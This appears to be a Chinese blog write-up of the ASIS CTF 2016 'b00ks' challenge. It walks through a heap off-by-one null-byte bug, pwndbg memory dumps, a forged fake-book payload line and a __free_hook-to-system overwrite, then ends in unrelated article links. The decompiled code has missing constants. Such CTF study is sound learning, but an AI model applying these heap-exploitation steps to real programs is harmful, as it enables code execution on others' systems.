Asis CTF 2016 b00ks理解
---恢复内容开始---
最近在学习堆的off by one,其中遇到这道题,萌新的我弄了大半天才搞懂,网上的很多wp都不是特别详细,都得自己好好调试。
首先,这题目是一个常见的图书馆管理系统,虽然我没见过。
. Create a book
. Delete a book
. Edit a book
. Print book detail
. Change current author name
. Exit
漏洞:
signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h] if ( a2 <= )
return 0LL;
buf = a1;
for ( i = ; ; ++i )
{
if ( read(, buf, 1uLL) != )
return 1LL;
if ( *buf == )
break;
++buf;
if ( i == a2 )
break;
}
*buf = ;#漏洞所在。
return 0LL;
}
signed __int64 sub_B6D()
{
printf("Enter author name: ");
if ( !sub_9F5(off_202018, ) )
return 0LL;
printf("fail to read author_name", 32LL);
return 1LL;
}
可以看到 book_name的size最大是32位,如果输入32个字符,那么'\x00'会被下一个下面的指针数组覆盖了。而且这程序也有修改author_name的机制,所以也可能修改下面的指针数组。
pwndbg> x/20xg 0x555555756040
0x555555756040: 0x6161616161616161 0x6161616161616161
0x555555756050: 0x6161616161616161 0x6161616161616161
0x555555756060: 0x0000555555757790 0x00005555557577c0 指针数组指向book的一个结构,该结构保存了下面结构的信息。
0x555555756070: 0x0000000000000000 0x0000000000000000
struct book
{
int id;
char *name;
char *description;
int size;
}
pwndbg> x/20xg 0x0000555555757790
0x555555757790: 0x0000000000000001 0x0000555555757670
0x5555557577a0: 0x0000555555757700 0x0000000000000080
0x5555557577b0: 0x0000000000000000 0x0000000000000031
0x5555557577c0: 0x0000000000000002 0x00007ffff7fae010
0x5555557577d0: 0x00007ffff7dba010 0x0000000000021000
0x5555557577e0: 0x0000000000000000 0x0000000000020821
0x5555557577f0: 0x0000000000000000 0x0000000000000000
0x555555757800: 0x0000000000000000 0x0000000000000000
0x555555757810: 0x0000000000000000 0x0000000000000000
0x555555757820: 0x0000000000000000 0x0000000000000000
x/50xg 0x0000555555757670
0x555555757670: 0x6262626262626262 0x0000000000000000
0x555555757680: 0x0000000000000000 0x0000000000000000
0x555555757690: 0x0000000000000000 0x0000000000000000
0x5555557576a0: 0x0000000000000000 0x0000000000000000
0x5555557576b0: 0x0000000000000000 0x0000000000000000
0x5555557576c0: 0x0000000000000000 0x0000000000000000
0x5555557576d0: 0x0000000000000000 0x0000000000000000
0x5555557576e0: 0x0000000000000000 0x0000000000000000
0x5555557576f0: 0x0000000000000000 0x0000000000000091
0x555555757700: 0x6363636363636363 0x0000000000006363
首先,指针数组保存了指向每个结构的地址,然后在结构体中,name和des是两个地址,保存输入的name和description。
大概的解题思路:
首先,利用先输入32位的字符,然后新建book1,这样会导致'\x00'给第一个数组指针给覆盖了,在printbook的时候会将第一个数组指针book1_addr 泄露。
然后再利用修改author_name的时候,会将第一个数组的最低位给覆盖成'\x00',使第一个数组指针越界访问。
恰好最低位覆盖为零的时候是指向0x0000555555757700,而0x0000555555757700
pwndbg> x/20xg 0x0000555555757700
0x555555757700: 0x6363636363636363 0x0000000000006363
0x555555757710: 0x0000000000000000 0x0000000000000000
0x555555757720: 0x0000000000000000 0x0000000000000000
0x555555757730: 0x0000000000000000 0x0000000000000000
0x555555757740: 0x0000000000000000 0x0000000000000000
0x555555757750: 0x0000000000000000 0x0000000000000000
0x555555757760: 0x0000000000000000 0x0000000000000000
0x555555757770: 0x0000000000000000 0x0000000000000000
0x555555757780: 0x0000000000000000 0x0000000000000031
0x555555757790: 0x0000000000000001 0x0000555555757670
就是book1的description。这样我们可以提前伪造一个fake_book在book1.这个book1伪造成指向book2,book2和book1的偏移从上面可以看到是0x30
这样在进行修改author_name的时候就可以覆盖了第一个指针,然后再print_book会泄露book2_name和book2_description的地址.因为在print的时候会从原来的description中解地址,但是现在给修改成了fake_book,所以解地址后获得的是book2_name and book2_description的地址。
伪造的payload: payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
到这一步我们已经获得了任意地址的读写能力了,
接下来的其他的wp也很详细,但我还是得补充一下,就是free_hook,在构造exp时,可以通过修改book1和book2来使得free_hook指向system,__free_hook里面的内容不为NULL, 遂执行内容指向的指令.
这个我实在是脑子不太好,这样的题都看wp想了那么久,调试还是蛮重要的,最后多谢大佬们的wp还有萌新的我写的差,大佬们勿喷哦!
Asis CTF 2016 b00ks理解的更多相关文章
- Sharif University CTF 2016 -- Login to System (PWN 200)
EN: It's easy to find out where is the bug : .text:0000000000400DE4 ; void *start_routine(void *).te ...
- Sharif University CTF 2016 - Smooth As Silk
Category: Crypto Points: 200 Solves: 11 Description: p > q n = p*q = 1146153281852525177586999436 ...
- Sharif University CTF 2016 -- Android App
很多种的方案: 方案 A: 直接逆向读代码方案 B: 解包,加入debug信息,重新打包,动态调试方案 C: 解包,改代码加入log.i整出flag, 去掉MainActivity里面d=什么也可以, ...
- Asis CTF 2015-Car_Market
恰好找到了这道题的bin文件,就来做一下. 这道题目是一个经典的选单程序但是具有三级选单,在bss段存在指针数组ptr,ptr中的值指向每个主结构,其中主结构如下所示. [] model [] pri ...
- H4CK1T CTF 2016 Mexico-Remote pentest writeup
进去网站之后发现连接都是包含类型的,就能想到文件包含漏洞(话说刚总结过就能遇到这题,也算是复习啦) 这里用php://filter/read=convert.base64-encode/resourc ...
- CTF-Keylead(ASIS CTF 2015)
将keylead下载到本地用7-ZIP打开,发现主要文件 keylead~ 在ubuntu里跑起来,发现是个游戏,按回车后要摇出3,1,3,3,7就能获得flag. 拖进IDA 直接开启远程调试,跑起 ...
- [DEFCON全球黑客大会] CTF(Capture The Flag)
copy : https://baike.baidu.com/item/ctf/9548546?fr=aladdin CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的 ...
- [CTF]Capture The Flag -- 夺旗赛
CTF(Capture The Flag) 简单介绍 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式. `In co ...
- 引言:CTF新世界
1. CTF的昨天和今天 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.CTF起源于1996年DEFCON全球黑客 ...
随机推荐
- vue 自定义侧边栏 递归无限子级菜单
有很多网站会涉及到导航栏,我自己在开发中用的是element导航组件,并且自定义事件,给大家分享一下. 1.使用递归方法,无限循环子级菜单. 2.使用组件封装,维护方便. 3.使用index作为路由跳 ...
- 数据结构(三十三)最小生成树(Prim、Kruskal)
一.最小生成树的定义 一个连通图的生成树是一个极小的连通子图,它含有图中全部的顶点,但只有足以构成一棵树的n-1条边. 在一个网的所有生成树中,权值总和最小的生成树称为最小代价生成树(Minimum ...
- day3------基本数据类型int, bool, str,list,tuple,dict
基本数据类型(int, bool, str,list,tuple,dict) 一.python基本数据类型 1. int 整数. 主要用来进行数学运算 2. str 字符串, 可以保存少量数据并进 ...
- [知识图谱]Neo4j知识图谱构建(neo4j-python-pandas-py2neo-v3)
neo4j-python-pandas-py2neo-v3 利用pandas将excel中数据抽取,以三元组形式加载到neo4j数据库中构建相关知识图谱 Neo4j知识图谱构建 1.运行环境: pyt ...
- [考试反思]1030csp-s模拟测试94:未知
排名也未知.第1或第5. 分数也未知,300或260. 人生真是大起大落... 啊啊啊啊啊我好感动啊竟然重测了一次----- 评测机怎么测怎么RE,本机怎么测怎么AC(任意编译指令,任意评测平台) 结 ...
- Vue使用antV G2制作看板
工作中需要制作一个看板,选型选用antV G2进行开发. 由于项目前端是使用Vue,于是研究了antVG2在Vue中的使用. 1.安装antv/g2 npm install @antv/g2 --sa ...
- 「Usaco2012 Dec」第一(字典树+拓扑排序)
(我恨字符串) 惯例化简题目:给定n个字符串,可以改变字符的相对大小(在字典序中的大小),问:字符串i是否能成为最小的字符串(字典序) 解题过程: 首先你可以预处理出来26的全排列然后暴力然后你只要用 ...
- 大数据之路day05_1--初识类、对象
1.1 什么是面向对象 面向对象思想就是不断的创建对象(属性与行为的封装,让二者作为整体参与程序执行),使用对象,指挥对象做事情.(在已有对象的情况下,直接使用对象,而不再去考虑对象的内 ...
- JDK安装脚本
JDK@Python脚本代码如下(JDK1.8.0_31) # -*- coding: utf-8 -*- # !/usr/bin/env python # @Time : 2018/1/2 18:0 ...
- 2. 彤哥说netty系列之IO的五种模型
你好,我是彤哥,本篇是netty系列的第二篇. 欢迎来我的公从号彤哥读源码系统地学习源码&架构的知识. 简介 本文将介绍linux中的五种IO模型,同时也会介绍阻塞/非阻塞与同步/异步的区别. ...